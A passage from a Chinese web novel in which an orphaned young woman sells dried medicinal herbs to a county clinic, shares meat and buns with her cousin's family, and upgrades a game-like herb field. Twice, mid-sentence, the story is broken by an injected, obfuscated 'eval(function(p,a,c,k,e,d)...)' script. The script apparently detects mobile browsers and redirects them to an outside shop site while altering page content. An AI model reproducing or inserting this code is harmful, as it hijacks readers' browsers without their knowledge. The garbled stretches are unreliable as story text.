药童去喊人,没想到喊来的是老熟人李大夫。 李大夫蓄着一把胡须,笑起来眉目慈祥:“没记错的话是钟姑娘吧,今天是过来卖药材的?” 钟映菱点头:“李大夫您好,我最近看了些草药相关的书,从后山采摘了益母草和金银花处理好了,想着拿过来看医馆这边收不收。” “只要药材合适,我们医馆有需要,那自然是收的。” 李大夫上手查看这些药材,干制益母草饮片齐根捆起,茎细质嫩,气淡香,掐下一段清脆折开,入嘴尝味微苦。 再看金银花,花蕾饱满未开放,色泽鲜亮,挑拣得好没有枝叶,手轻轻一捏就碎了,尝着味苦闻着有清香。 他满意点头:“金银花、干制益母草饮片都处理得不错,干燥得也到位,算得上优质,价钱也能上浮些。金银花五十文钱一斤,干制益母草饮片二十二文钱一斤,你要愿意卖的话,我们药馆全收了。” 钟映红站在一旁惊得眼睛都瞪大了。 一斤肉十八文钱已经很贵了,这些看着跟杂草似的药材居然能卖二十二文和五十文! 天哦,她们今天可是带了四背篓过来的! 钟映菱对这价钱还算满意:“我们愿意卖的。” 李大夫让药童拿这些药材去过称,四背篓的药材让药童跑了两趟才搬过去。 钟映菱问:“李大夫,医馆之后还收这两味药材吗?” 李大夫对方才那些药材斤两有数:“益母草多为妇科疾病用药,短时间内再收个二三十斤也就差不多了。倒是金银花用途广泛能放久,入夏后用量更是增大,只要你送过来,处理得好我们就收。” 钟映菱:“好的明白,那医馆收大黄、重楼吗?” 她没问黄精,黄精属于稀贵药材,只要炮制得好,医馆什么时候都收的。哪怕不会炮制,送新鲜挖过来的都行。 李大夫有点惊讶,没想到她还会采摘处理这两味药材:“自然是收的,我们医馆还能收百斤以内的大黄和十斤以内的重楼。大黄价钱根据品质给八十文到一百五十文,重楼稀有些一斤最低能给到五百文,具体还得看品质。” 他和这位姑娘打过交代,也知道她双亲皆逝的事,如今能采摘炮制草药换取生计是幸事,所以报的都是实诚价。 钟映红已经惊得说不出话了。 八十文!五百文!还是最低能给到的价! 菱娘能问这话,就肯定是能采到来卖的。 怪不得采药人那么吃香,采摘一种草药来卖竟然能换这么多钱,她费心力眼力绣出来的荷包手帕也才卖几文钱,十文钱以上的少之又少。 可惜,认识草药的人太少了…… 钟映菱对这价钱还算满意,她这几天把山上发现的重楼全采摘了,晒干后大概五斤多些。 大黄晒完后最多也就二十斤,但这收购价也比益母草、金银花要高不少了。 再者她对自己处理的大黄品质有信心,定能换个好价钱。 钟映菱浅笑道谢:“多谢李大夫,那回头处理好了我再送这两味药材过来。” 李大夫挥手表示不用客气,医馆能够收到好药材也是得益的。 钟映菱:“李大夫,我想问下医馆夏季会收薄荷吗?大批量的那种。” 李大夫闻言意味深长地看她一眼,如是说道:“会大批量收,但只要干薄荷,价钱比不上先前几味药材只有十二文左右,具体看到时候的市价。如果是鲜薄荷的话,价钱也就两文钱左右。” 薄荷是夏季医馆常用的药材,采药人常晒干送过来,哪怕五斤鲜薄荷晒干就剩那一斤,也是更有赚头的。 也有人偶然识得薄荷直接采摘了送过来,他们会善意提醒下晒干的更好,医馆收鲜薄荷有限,但那些人不知是学不会还是觉得费劲,就想赚那快钱。 毕竟这会薄荷是山上自然采的,都是没本的生意,对农家人来说绝对是意外之财。 钟映菱听了心里有数,笑着道谢。 药童把药材过称后拿了四个空背篓回来:“李大夫,益母草有二十三斤二两,金银花有三十六斤半。” 李大起拿起算盘算账,过会后说:“益母草共计五百一十文,金银花共计一千八百二十五文,总共两千三百三十五文。” 钟映菱刚飞速心算过,点头:“好的,多谢李大夫。” 李大夫让药童去账房那支钱过来。 钟映菱接过药童跑送过来的三两银子三吊钱并三十五文,再次向李大夫道谢,在这买了些香料后和钟映红背着空背篓离开。 李大夫想了下,交代药童:“回头这位姑娘再来医馆卖药,你第一时间喊我。” 刚看她那淡然自信的模样,想来近期打交道不会少的。 药童点头应是,暗自记住这位姑娘的样貌。 出了医馆走在街道上,钟映菱赚到第一笔钱,脸上不自觉地带出舒心的笑容来,采药赚钱这条路子算是被自己走通了。 钟映红激动得脸都有些涨红了,更多是高兴。 不愧是菱娘,采药人捂着家传的采药手艺都被她从书上学到了,甚至还会处理药材。她刚可是听到了,大夫说药材处理得好才能给这么高的价钱。 原先她还担心大伯大伯娘去世后菱娘接下来该怎么办,哪怕自家帮着照看,日常开销这些难道真要靠菱娘下地种粮食吗? 现在不用担心了,菱娘靠着这门采药处理的手艺日子肯定不会差的。她今天跑这一趟,可是赚了村里三口人家一年的吃用! 钟映红想说的很多,顾忌着在外人多,只拉了拉菱娘的小手低声祝贺:“菱娘你真棒!” 因着钟父和钟二叔家关系好,原主和钟映红更是从小玩到大的好姐妹,她穿越过来后也感受到钟二叔家和钟映红的关怀,钟映菱还是很乐意亲近她们的。 在这年代看重宗族关系,她一个失去爹娘的孤女要想过得好,离不开二叔家的关照,再是钟家村族人的庇护,那些坏人动心思多少也得掂量下。 钟家村族人还需考量筛选,二叔家她愿意先带着试试,所以钟映菱今天喊了钟映红一起来送药材。 刚在医馆卖药材时她也有在观察钟映红,见对方只有震惊激动高兴佩服甚至羡慕,却没有贪恋之类的,心里也就有数了。 钟映菱笑着回握她的手:“今天运气好挺顺利的,多谢大姐帮忙。” 钟映红摇头:“客气什么,都是顺路的事,以后你有需要就喊我一起过来。” 菱娘力气有限,那药材处理好当然要赶紧卖给医馆,她帮着点不算什么。 两人说说笑笑赶去绸缎庄。 这家绸缎庄在县城规模是最大的,铺面后面连着绣坊,雇了不少绣娘制作成衣,也会往外分些零散绣活。 钟映红找掌柜的交攒了半个月的一包裹绣品,又重新领了绣布绣线。 钟映菱趁着这功夫简单看了下卖的布料和成衣,倒没有赚钱后买布料成衣的念头。 原主在家受宠,钟父在外走镖收入好,和村里姑娘一两身衣服轮换着穿相比她的衣服不少还挺漂亮的。 再说她现在在守孝期间,不说一身白,也只能穿素色衣服。 半个月的绣品换了一百三十八文,钟映红肉眼可见地高兴。她走过来问:“菱娘有想买的布料吗?” “没有,大姐绣品交完了?”钟映菱说道,刚也是见掌握的在查验绣品,她才过来看布料。 钟映红乐道:“交完了,我又领了新的回去做。走吧,我们去买米买肉!” 被她兴冲冲的样子感染到,钟映菱灿然点头:“走!” 两人走去城西,今天是集市日格外热闹,不少周围村落的人挑着攒了许久的东西过来摆摊卖,城里人也过来采买。 在集市卖东西赚了钱的农村人也都到沿街的商铺采买,他们就等着这点钱来买粮食吃用了。 还没到粮铺,钟映红瞧见包子铺率先过去:“老板,来两个肉包子,分开装。” “好嘞,总共四文钱。” 钟映红掏出四个铜板递过去,接过两个油纸包,递一个给妹妹:“菱娘,快吃新鲜热乎的肉包子,我馋这口好久了!” 钟映菱失笑,大姐这是拿辛苦半个月赚来的钱买的。 这年头老百姓赚钱活计不多,恨不得把一块铜板掰成两半使,钟映红自然很少花两文钱买肉包子吃。 今天这是为了还自己先前出坐牛车的钱,哪怕知道她已经赚了三两多。 “谢谢大姐,我也馋这肉包子了。”钟映红不推拒,高兴接过,两人当街吃了起来。 热乎蓬松的面皮吃起来特别暄软,肉馅咸香的酱汁渗透到包子皮里很是够味,一团肉馅嚼着香且过瘾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钟映红惊讶菱娘买这么多,但也没开口劝,反正菱娘心里有数,她也跟着和小二说娘交代要买的:“我要一斗精米,一斤白面和三斤黑面。” 家里还有去岁秋收后留下的粮食,大米的话都是糙米,娘让她买一斗精米回去掺着糙米煮饭吃,已经是顶顶好的伙食了。 毕竟糙米一斤才五文,精米一斤要十二文,天天□□米饭那得是地主才能过的好日子吧。 白面和黑面也是买回去掺着蒸窝窝头的。 二人从粮铺出来,又走去猪肉摊。 钟映红直说:“老板,我要一斤肥肉。” 她瞧到案板上摆着的猪肉几乎没有什么整块肥肉了,暗恼方才应该先过来这边买肉才对,只好改口,“稍微带点瘦的也行,尽量要多肥肉的哈。” “姑娘放心,我保证给你挑块最肥的。”屠户从案板上拣了块肥肉,拿起锋利的大刀手起刀落。 钟映菱倒也理解她想买肥肉的心,这年头农户想沾点油星不容易,肚子里太缺油水了。 说是要割一斤肉,口感什么的顾不上,只要是肉那都是好的。肥肉买回去能煸炒猪油留着以后炒菜增添荤香,肥肉片煸炒得极致吃起来自然也是软腻添香。 等钟映红付完钱,钟映红说道:“老板,我要两斤瘦肉、两斤五花肉和一斤排骨。” 她伸手在案板上指了指某块瘦肉,这个部位的瘦肉颜色浅,翻炒或煮汤都香,接着又挑了条正排骨。 朱屠户没想到两姐妹都要买肉,而且这看着年纪小的姑娘居然要这么多,高兴应道:“好嘞,我保证给你挑最好的!” 他这一开心,猪五花切得漂亮,瘦肉排骨照着姑娘要的来,排骨上挂着的肉都多了些,还给钟映菱抹了个两文钱的零头。 钟映菱接过裹着油纸的肉放到背篓里,分出一斤五花肉来:“大姐,这斤五花肉拿回去给二叔二婶吃。” 见钟映红要拒绝,她说,“你今天来买肉不就是二叔二婶为了春播做准备添油星吗?我都和二叔二婶说好了,春播的时候他们带我干活,我买斤五花肉孝敬他们多正常。” 钟映红说不过她,这才道谢收下,把肉藏进背篓里还盖上粗布,免得待会坐牛车回去时村里的婶娘们看到。 二人想买的都买了,往城门口那走去坐牛车。路过杂货铺铺时钟映菱还停下各买了一斤盐、白糖和红糖。 午时前,想坐牛车回村的人都齐了,大力叔挥鞭赶牛回程。 5. 吃肉 回村路上,各位婶娘因着各有收获说说笑笑的,欢乐不少。 钟映菱和钟映红坐在牛车角落,也就刚开始被询问买了什么,含糊过去后婶娘们也就没再搭理她们。 下了牛车往村里走,钟映红跟着钟映菱回到她家,卸下背篓后帮着把买回来的东西提进灶房去放好,她打了声招呼要回去。 钟映菱喊住她问:“大姐,今天我卖益母草和金银花你也看到了,采摘处理辛苦些,价钱还是有优势的。你要是愿意的话,回头我上山采这两味药和处理都喊你一起。” 今日县城之行,她确定是能带着钟映红一起采药赚钱的。 马上春播开始她得忙地头上的事,山上昨天又新发现了一处金银花等着采摘,益母草那边留了根还会再长,这些都是能赚的钱,她一个人赚不过来的,不如带着钟映红一起。 再好的感情,都没有利益联系来得牢固,带着大姐采药赚钱能给二叔家增添些收入,也能为自己和二叔家的关系多添一重保障。 钟映红眼前一亮激动道:“菱娘真的吗?你真的愿意带我?” 方才在医馆听到李大夫报的药价,见到菱娘卖一趟药赚了三两多不心动是假的。她忙活半个月做针线活才赚了那点零头,自然是卖药材更有赚头。 只是采摘处理药材都是能传家的手艺,菱娘能学到是菱娘的本事,她不能惦记。 钟映红想着自己没菱娘的本事,多做点针线活就是了。 她没想到菱娘居然愿意带自己一起赚钱! 这采药处理的手艺学会了可是一辈子的事,嫁人后她也能有立身的底气。 菱娘没提带大哥和三郎四郎去采药,反而只带自己,钟映红心情激荡,很是感动。 钟映菱笑着点头:“自然是真的。山上的药材那么多,有大姐你和我一起也有个伴,能够尽快把能采的草药采完卖了换钱。就是你新领的针线活……” 领绣活那会大庭广众之下她没法明说,再者也是吃了肉包子后她才下的决定。 钟映红满是干劲:“没事,到时候我白天跟着你上山采药回家处理药材,晚上我再做那些针线活,如期交上绝对没问题的!” 爹娘对她不错,定亲后备嫁的这一年说好她赚到的钱一半上交家里一半留做压箱底的。 做绣活如此,到时候卖这药材争取也是如此,就算少点也没关系,她能攒更多的钱了! 钟映菱点头:“好,那等我接下来有上山采药就喊你。” “好,我随时都能来。”钟映红应道。 钟映红走后,钟映菱开始收拾今天的收获。 米面这些都放进柜子里,一斤五花肉切了半放在案板这,排骨暂时吊水井里去放着。 三两银子被她妥帖收好,接着到厨房淘洗新买回来的精米煮饭,再做道红烧肉。 陈皮、八角、香叶这些方才在医馆买了,白糖也有,钟映菱做起这道荤香味十足的红烧肉得心应手,也很期待。 半个时辰后,她坐在堂屋吃饭。 红烧肉焖煮得入味,咬起来肥而不腻香而不柴,每一口都是荤香糖香的结合,那酱汁淋在饱满圆润颗粒分明的米饭上吃起来更是满嘴喷香。 昨天二婶送过来自家种的韭菜黄,她混着炒了鸡蛋,拌饭吃也很是鲜香。 这顿午饭吃得钟映菱格外满足,赚到钱让她大松了口气,对接下来的日子更有信心。 隔壁钟二叔家,刘氏提早回来切肉。家里难得买肉,红娘刀工不行,得她上手才能让这肉发挥最大的作用。 她一听厨房的动静就知道红娘在里头忙活做饭,想着先去水井那拿肉,结果一看! 刘氏提着斤八肥二瘦的肉冲去厨房:“红娘,你咋还买了斤五花肉啊?” 她今天只给了买斤肥肉和一斗米的钱,以为红娘是拿了换绣品的钱去买的五花肉。 钟映红正在准备来炒腌白菜,见娘冲进来忙道:“娘,那五花肉是菱娘给的。” 刘氏愣了下反应过来:“菱娘卖药材赚钱了?” 钟映红:“背去的药材都卖完赚钱了,买肉的时候菱娘说春播你和爹还要带着她干活,这斤五花肉是买给你们吃的。” “菱娘这孩子真是实在。”刘氏感叹,又替她高兴,“药材都卖出去了,那以后菱娘也算有条出路。” 她也没去问那些药材卖了多少钱,这是菱娘的门路,捂着只有自己知道才是最稳妥的。 她交代,“菱娘信你才喊你帮忙,你嘴巴紧实点别往外说。” 钟映红笑着应好,心想菱娘大方还喊我一起去采药呢,这事她打算吃过饭再单独和爹娘说。 刘氏掀开炉灶另一口锅,看见里头蒸的杂粮窝窝头皱眉:“这些量哪够一家子吃啊?” “菱娘买了五个肉包子给我们,我想着待会加热趁新鲜大家吃了,就没蒸太多窝窝头。”钟映红把掩在炉灶旁的油纸包拿出来。 肉包子那么香,等爹他们快回来时再加热,到时候新鲜热乎吃起来才香。 刘氏瞧见油纸袋里白胖肉包子,气得直戳闺女的脑袋:“你怎么能收菱娘这么多好东西?” 钟映红忙躲:“菱娘说肉包子好吃让你和爹都尝尝,她本来要给七个的,我劝了才塞给我五个。” “嗐,菱娘这孩子没白疼,就是手缝太宽了。”刘氏心里熨帖,看着肉包子也犯馋,她平时可不舍得一下子买五个。 再看手头上的这斤肥肉,她交代,“既然有肉包子,中午就先不吃肉了,这肥肉我切片后你给煸炒留出猪油和肥肉片来,剩个油锅底再来炒腌白菜,指定好吃!” 钟映红毫不意外,中午能吃上肉包子已经很满足。 刘氏发挥引以为豪的刀工把这斤肥肉切成薄片,交给闺女去煸油。回头这些肥肉片省着点来炒青菜,就顿顿肚子里能有点油星了。 再说水井里还吊着斤菱娘送的五花肉呢。 思及此,刘氏去厨房柜子那数了二十个鸡蛋出来,得亏想着接下来春播要补身子留着,今天没拿去集市卖,这会装进篮子里就往隔壁去。 稍晚些,钟二叔等人回来,哪怕累了也还是带着兴头,都知道红娘去县城买肉了,中午肯定能先吃上一顿。 稍微跳脱些的四郎冲进来见饭桌上只有一盘炒腌白菜和几个杂粮窝窝头,一脸失望:“姐,今天不是买肉回来了吗?” “买了啊,娘说留着之后吃。”厨房里传来钟映红的声音。 “啊……”四郎满心失望。 钟二叔连带着大郎几个顿时垮掉积攒的那口气。 四郎伤心之余闻到肉香忙喊:“不对,我都闻到肉味了!” 钟映红端着一盘胖乎白包出来好笑问:“中午有肉包子吃,你想吃肉包子还是肥肉啊?” 四郎惊喜凑过去:“有肉包子!” 三郎高兴极了:“那还用说,当然是吃肉包子啊!娘切的肉片那么薄,吃个两三片还不够塞牙缝呢。” 他们每人一顿也就能吃上两三片。 大郎和媳妇吴氏对视一眼,都盼着中午能吃上肉包子。 钟二叔自然想吃肉包子,但忍不住皱眉,望向刚从外头走进来的刘氏。 刘氏把院门阖上走到饭桌前坐下:“这肉包子是菱娘买了送我们的,说是感谢我和你爹对她的照顾,还有红娘今早帮着背东西去县城的事。水井里还吊着斤五花肉也是菱娘送的。” “这孩子实诚,惦记着我们的好,我刚拿了二十个鸡蛋过去给她。” 大家恍然大悟。 钟二叔先前还皱眉,想说不能要菱娘这些东西,等听刘氏说拿了二十个鸡蛋过去才松了眉。 这么看菱娘早上去卖药该是顺利的。 他走到饭桌前坐下,在地里忙活一上午早就饿了。 大郎等人赶着坐下,一个个感激着菱娘的好,这肉包子和五花肉平时可吃不上,对娘送鸡蛋过去也没意见。 更多的他们这会也顾不上,眼睛直愣愣地盯着饭桌上的五个肉包子,想着他们七个人要怎么分。 他们家没有分餐制,家里就这么几个人,刘氏没那么大的掌握欲,大家凭筷子速度吃饭。 但肉包子贵重难得且只有五个,刘氏做主分了:“肉包子我和你爹一人一个,今天红娘帮菱娘背东西去县城也分一个,老大老大媳妇你们俩吃一个,三郎四郎你们俩吃一个。” 早先她就说过菱娘为何送肉包子,这会大家都对这分法没有意见。 钟二叔大口咬下手中的肉包子,面皮暄软肉馅酱香,沁出来的油沾得满嘴都是,边吃边回味着。 刘氏也吃得欢快,念着菱娘这孩子的好,以后要多照顾着点才行。 钟映红这会也吃得喷香,一天能吃两个肉包子怕是这辈子最幸福的事了吧! 嘿嘿,她才没那么傻去说自己在县城吃过肉包子的事,把菱娘给自己的肉包子让出去呢。 大郎和吴氏成婚一年感情不错,这会对着最馋的肉包子也能分出三分之二给媳妇,自己吃剩下三分之一,哪怕只有丁点肉馅吃,那沾满肉酱汁的蓬松白面皮也足够他高兴了。 吴氏吃着肉包子,望向大郎的眼神情意绵绵。 三郎四郎猜拳定下谁来分这肉包子,另一个把眼睛睁得老大,生怕对方偷偷分多点去。 三郎这个当哥的还算公正,他怕四郎为了这口肉真虎起来揍自己,捏着肉包子分成两半, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218322|197459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每份看起来一样大,还让四郎先挑。 两兄弟捧着一半的肉包子边吃变笑。 钟二叔家这顿午饭注定是好的,吃完肉包子后还能就着用新鲜猪油炒出来的腌白菜吃杂粮窝窝头,一个个吃得肚子圆滚。 饭碗是钟映红洗的,原先是她和大嫂轮流做家务活,因着她从年后开始在家备嫁不用下地,所以这些活都交给她来做。 其他人吃饱喝足各自回屋睡觉,午后还要去地里忙活来着。 把锅碗瓢盆洗完放好,钟映红溜去爹娘的房间。 得亏早先她和娘交代过有话要说,刘氏才提着神没睡,见闺女进来还神神秘秘把房门阖上好笑摇摇头:“你要说什么快说吧。” 她坐在床外侧,顺手把旁边已经睡得打鼾的孩他爹推醒。 “爹娘,我和你们说这事,你们记得别激动哈。”钟映红走过来先交代。 直把钟二叔夫妇的注意力给提了起来,他们猜到红娘想说什么,钟二叔忙开口拦住:“红娘,你早上见到听到的事你自己知道就行了。” 像采摘草药卖这种活计大多隐秘,这事还是越少人知道越好。 “你爹说得对。”刘氏附和,她早先就交代过一回了。 钟映红忙道:“是菱娘说山上还有些草药可以采,打算到时候带上我一起赚钱,让我和你们交代一声。” 接着她把今早去药馆卖药的事大概说了下,着重说了接下来能采到的益母草和金银花价钱,其中省去了菱娘问另外两味价钱高到离谱的药材和那什么薄荷的内容。 钟映红想着那些药材菱娘或许打算自己采,那么就没必要说。若不是菱娘好心带她一起采药赚钱,今日医馆发生的事她一个字都不会往外说。 钟二叔和刘氏听得膛目咂舌。 老天爷啊,药材居然能卖这么贵,那什么金银花一斤五十文都快顶五斤精米了! 最重要的是,现在菱娘居然愿意带红娘一起赚钱! 钟二叔心情激荡,殷切交代:“你和菱娘打小玩得好,她现在愿意带你一起卖草药,你可得积极多出点力,菱娘让你做什么你照做就是了。” 刘氏喜问:“既然后山上还能采药,反正三郎四郎在地里也干不成什么活,要不让他们也去帮菱娘?” 地里的活就那些,自家辛苦些总能干完,三郎四郎去采药能赚更多的钱。 这话一出,不等闺女说什么,钟二叔先呵斥:“你也是老糊涂,菱娘只说带红娘一起,哪天需要三郎四郎了她自会说。” 他坚信,“菱娘不会亏了我们的。” “再说菱娘红娘去后山采药没什么人注意,三郎四郎原先在地里干活突然跟着往后山跑,难免被发现。” 虽说后山上都是无主的物,但肯定是自家能赚点就先赚,避着点村里人。 刘氏回过神来拍胸口:“是我想左了,菱娘有心拉扯我们,我们可不能拖后腿。” 她交代,“这事暂时我们三个知道就好,红娘你别和你哥还有三郎四郎提这件事。” 钟映红松了口气:“我知道。” 刘氏:“菱娘现在自个住,平时也没谁上她那去,你们采了采药就往她那边放吧,咱家里藏不住事。” 大家平时没事串个门,看到自家院子里摆着“没用的杂草”怎么解释都不好。 钟映红点头:“菱娘也是这么说的。” 刘氏想让闺女全力跟着菱娘去采药:“家里的活你能做就做,菱娘喊你就跟着去,路过田间和我说一声,我跑回来做饭就是了。” 钟映红自是答应。 刘氏提最重要的事,“这回卖药赚的钱多,回头全交给我?针线活你接着做的话,赚的钱都自己攒着吧。” 白天去采药,红娘要做针线活也只能晚上做了。 钟映红早有预料,模糊说道:“娘,菱娘带我一起赚钱,也是想着我在攒嫁妆,想帮我多攒点。” 她想为自己多争取下。 刘氏平时也疼闺女,再说菱娘和闺女向来关系好,没见这回只带红娘去采药嘛,想了下就答应下来:“那交七成给我吧,你自己留三成。” 自家总得多拿点,回头大郎他们特别是吴氏知道了才没话说。 最关键是药材的辨别采摘和处理,红娘跟着菱娘学到了那是一辈子的手艺。 后山该有的草药年年有,来年红娘嫁去陈家村说不准能从那边山上采到赚钱,这都是她在婆家立身的本事。 钟映红知道这是娘的底线了,和她的预期差不多,于是高兴答应下来。 她回房间午睡,钟二叔和刘氏待在房间低声耳语兴奋好一阵子,终究是抵不过上午地里劳作的累,沉沉睡去。 6. 升级 医馆卖药后钟映菱休息了两天,主要把院子里晾晒中的药材给翻面风干收好。 为此她还去二叔家拿了几个新编好的大竹筐过来装晒干的药材,本来是想照市价买的,二叔以一家人不说两家话为由把竹筐搬过来,一溜烟回去了。 这些晒干的药材暂时放进杂货间存着,院子顿时开阔起来。 钟映菱也留意着目前最贵重的药材黄精晾晒情况。 两斤黄精在她采摘回来那天就用清洗干净晾晒着,估计还有两三天才能达到七八成干,到时候再开始蒸晒。 院子空出来后,钟映菱喊上钟映红一起上山去采摘益母草和金银花,每回下山都老样子挖些新鲜野菜盖在背篓上遮掩着,完了还能炒菜吃。 清洗处理晾晒都放在钟映菱家这边,钟映红忙完才回家去。 钟二叔和刘氏偶尔私底下问闺女那边的情况,知道后安定不少,难掩雀跃。 大郎几个在地里忙得过累,没去留意红娘的动静。 吴氏心细发现了,但也没多说什么。 菱娘的境遇她挺心疼的,对自家大方又好,红娘去帮忙也正常,反正婆婆把家里的活都揽了过去,也没累着自己。 钟映菱该采药晾晒的时候忙活着,闲暇时也没亏待自己的嘴。 她那天吃过红烧肉后又将剩下半斤五花肉切片炒了蒜苗吃,排骨分着做了回蒜蓉蒸排骨和蒜香排骨。 就连那红豆,也被她分着熬煮红豆沙当晚饭糖水喝。 五天过去,钟映菱和钟映红二人又前后各背着两背篓的药材坐牛车去县城,下了车直奔百草堂。 这回姐妹俩轻车熟路,还是昨天的药童客气把她们请进医馆,李大夫查验过后利落让药童过称给钱。 两人背着空背篓走出医馆时脸上带笑,一看就知道是碰上喜事了。 钟映菱对今天收入还挺满意。她这回卖了八斤益母草、二十三斤金银花,这些药材里有一半是上回来县城还没晒干攒到现在的。 再是卖了二十一斤大黄和六斤重楼。 大黄品质不错,晾晒得干透,李大夫给了九十六文一斤;重楼品质上乘,根茎粗壮质坚实,加上医馆重楼库存少,李大夫给了一斤六百四十文的价钱,让她如果再有采到务必送到百草堂来。 钟映菱今天跑这一趟赚了七两一吊钱并八十二文! 够她一个人吃用好长时间了! 钟映红同样心情激荡。 这几天菱娘带她上山,教她采摘处理益母草和金银花,等自己上手后菱娘主要是去采别的药材,所以她采了不少的益母草和金银花。 方才两背篓药材里有十三斤益母草和二十八斤金银花,足足赚了一两一吊钱并八十六文钱! 短短几天能赚这么多钱,这是钟映红以前想都不敢想的。 一想到这里头有三成能到自己手里攒着,她就更高兴了。 至于方才在医馆看着菱娘采的别的药材卖那么高价钱,钟映红震惊却不贪心。 菱娘说这种药材稀有才价贵,不比益母草和金银花在后山上容易找到,再者能赚到这两味药材的钱她已经谢天谢地谢菱娘了。 钟映红早就死死记住益母草和金银花的模样,还有那处理手法,这样子每年只要她上山就能采到这两味药材赚钱,成亲后也有底气。 想到这,她眉眼飞扬拉住菱娘:“菱娘谢谢你,我们去买米买肉吧!” 赚了钱,钟映红也想吃点好的,改善家里伙食。 家里米面肉吃得差不多,钟映菱也有这个打算,姐妹俩奔向城西。 路过包子铺,钟映红爽快掏了四文钱买了两个肉包子,塞给菱娘:“姐请你吃肉包子!” 昨天也是赚钱后吃肉包子,钟映菱笑了下接过:“谢谢大姐,这家的肉包子确实好吃。” 钟映红大口吃着包子里的酱香肉馅,听了菱娘的话,决定以后来医馆卖药材,都请她吃肉包子。 到了粮铺,钟映菱照旧买了一斗精米,再各买斤绿豆和红豆、二两芝麻、一斤盐、一斤花生。 这回娘没有交代,钟映红也大手笔买了一斗精米。她知道大米饭有多好吃,如今家里进项多了,家里人在地里劳作,自然想大家都吃好些。 去了猪肉摊,钟映菱买了一斤五花肉、两斤排骨、一斤瘦肉和一条猪筒骨。 钟映红也跟着买了斤五花肉,再买斤肥肉回去炼油。 一想到接下来时不时能有肉吃,她就开心。 经过糕点铺,钟映菱:“大姐,我们进去看看吧。” 糕点铺规模挺大,卖有常见的绿豆糕、红豆糕,有白米糕、紫米糕和红糖糕这类米糕,再有贵些香些的炸糕、油饼,或是雕梅、话梅之类的果脯,还有芝麻糖、麦芽糖更是香贵。 整间铺子萦绕着香甜的糕点味,馋得路过的人直勾勾往里望,瞧见那昂贵的价钱又狠心拧头离开。 钟映红看着这些糕点糖果的价钱,便宜些的半斤顶一斤精米,贵些的能换两斤肥肉,她以前路过看都不敢看,现在居然走进来了。 钟映菱看着觉得有意思,这味道虽说不像现代烘焙店的面包烤香那么浓郁,但很是香甜,还是纯天然的。 她招来小二:“我要半斤紫米糕和半斤芝麻糖。” 刚买了红豆绿豆随时可以煮糖水喝,这回就不买红豆糕绿豆糕了。 钟映红也很快做了决定:“我要一斤红糖糕。” 红糖糕比红豆糕绿豆糕贵不少,但有红糖,吃起来肯定甜滋滋的。 今天赚了大钱,她很舍得买这斤红糖糕。 完了钟映红交代小二分半斤到菱娘那份去。 钟映菱只要了两块尝尝鲜就好,也分了几块紫米糕和芝麻糖到她那份去。 走出糕点铺,钟映红想果然赚了钱还得花出去才舒服,一想到背篓里的红糖糕回家就能吃就更幸福了。 钟映菱想到接下来几天嘴馋了随时能有糕点也高兴。 钟映红:“菱娘,我们现在回去?” 除去背篓里米肉不说,她身上还揣着一两多钱,在外面总得不安,就怕被扒手偷了,还是赶紧去坐牛车好。 钟映菱:“我们往城门口走吧,路过酒坊买坛黄酒。” 黄精的九蒸九晒从次回开始都需要用到黄酒,这也是今天跑县城的重点。 钟映红没去问她买黄酒做什么,直接应好。 买完黄酒去城门口坐牛车,午时三刻出头回到钟家村。 钟映菱和钟映红在家门口分别:“大姐,那我就先回去了。山上发现的益母草、金银花都采完了,过段时间咱再去吧。” 她暂时不打算上山采药了,要忙一亩田地的事。 “好,你也好好休息。”钟映红说道。 忙活几天能赚一两多银子,少说到自己手里有三百文,她已经很满足了。 而且菱娘说过,等山上那些益母草长出来又能接着去采摘,她等着就是了。 钟映菱关上院门,收拾好买回来的东西后先对着买回来的糕点下手。 她先拿了块紫米糕吃,软糯中带着些许 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如今空间药田这边有了些变化,早在她第一回卖药之前就已经从0级升到1级,同时解锁了1级可购买种植的药材——金银花。 同时也解锁了一块土地的购买资格,钟映菱花费500金币购买这块土地。 两块地同时开种,能收获更多的药材赚金币,也能积攒更多的经验值。 这回从1级升到2级需要1000经验值了,同时金银花购买一份种子20金币,种植成熟需要半小时,收获可得5经验值,全卖给系统商城可获得100金币。 种植金银花看似比薄荷有优势,但薄荷五分钟可收获一次,累积下来却是各方面都能反超的,除了购买薄荷种子开销大些。 钟映菱这几天还是选择种植金银花为主,偶尔心血来潮穿插着种几回薄荷。 无它,金银花半小时收获一回,她总不能每天无时无刻隔着五分钟留意游戏空间这边来收获薄荷。 钟映菱读大学那会刚玩这游戏就很上瘾,几乎守在电脑前不断播种收获,连日常吃喝都有所忽视了。 后面逐渐过了游戏瘾,她才控制着游戏时间不至于耽误生活学业。 这会也是,她种植薄荷从0级升到1级过了重玩游戏的兴奋瘾,已经调整成闲暇时就播种收获,顾不上的话就等有空再来收获。 升级解锁更多药材的事徐徐图之就好,这两拨后山采药赚的钱赚了十两多够她过好一阵子了。 马上春播,她得忙二叔二婶分给自己那块田地的事。 钟映菱早先就有想法,打算用这亩地来种药材。她试过了,目前系统商城里买到的种子都能带到现实中。 要知道系统商城里卖的都是优质种子,想来哪怕外面土壤气候条件不如游戏空间里的,产量也比这个时代的要好。 更何况大庆目前药材种植方法皆掌握在世家权贵手里,别说难以买到种子,买到了也不知道怎么种。 云州府气候四季温暖,类似于现代的云南省,陇川县这边有山有平地有水,挺适合种药材来着。 她这几天也有在权衡这亩地是种薄荷还是种金银花,为此经常抽时间进游戏空间观察药田里生长的植株,拿纸笔记录其各种状态和生长习性。 钟映菱回忆着大学专业所学,再结合在游戏空间里观察所得和系统提醒的知识卡片,将两样药材的种植方法、具体步骤、需面临的病害及解决措施等详细总结好。 